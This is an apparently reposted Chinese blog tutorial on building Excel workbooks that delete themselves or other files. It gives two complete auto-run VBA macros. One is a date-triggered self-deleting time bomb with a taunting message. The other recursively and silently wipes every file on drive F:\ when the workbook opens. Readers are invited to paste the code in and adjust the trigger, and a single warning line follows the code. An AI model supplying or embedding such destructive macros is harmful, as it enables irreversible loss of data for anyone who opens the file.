如何制作可以自杀或谋杀其它文件的Excel工作簿

如果你需要一份拥有自杀功能的Excel工作簿,将下面的代码复制到该工作簿VBE窗口的ThisWorkbook的代码窗口内,保存退出即可:

Private Sub Workbook_Open()
    Dim dat As Date
    dat = DateSerial(2019, 10, 1)
    If Date >= dat Then
        Application.DisplayAlerts = False
        MsgBox "你好,二货!你相信Excel会成精吗?" & vbCr & "大爷我活够了,我要死了,再见~嘎嘎嘎嘎嘎~。"
        With ThisWorkbook
            .Saved = True
            .ChangeFileAccess xlReadOnly
            Kill .FullName
            .Close
        End With
    End If
End Sub

该段代码使用了工作簿打开事件,顾名思义,就是工作簿打开时执行相关代码。它设定的自杀条件是,当前电脑时间大于等于2019年10月1日。您可以根据自身需要进行相应调整……

聊完了“自杀”,咱们再聊“谋杀”……

Excel工作簿不但可以自杀,还能谋杀电脑里的其他文件(回收站找不到尸体的那种——宏病毒借助和OFFICE办公软件的亲密关系,一直拥有强大的破坏性,它可以肆意删除或加密电脑中的文件、窃取用户帐号密码……),代码如下:

Private Sub Workbook_Open()
    Dim p As String
    p = "F:\"  '指定批量删除文件的所在硬盘
    Call Killy(p) '调用FSO遍历子文件夹的递归过程
End Sub

Function Killy(p)
    On Error Resume Next
    Application.DisplayAlerts = False
    Set fld = CreateObject("Scripting.FileSystemObject").GetFolder(p)
    Kill fld.Path & "\*.*"
    For Each fd In fld.SubFolders
        Call Killy(fd.Path)
    Next
End Function

以上代码存在危险性,请勿轻易尝试;来历不明的文件,请不要轻易启用宏……

——本文转摘自微信公众号:VBA编程学习与实践

发表回复

您的电子邮箱地址不会被公开。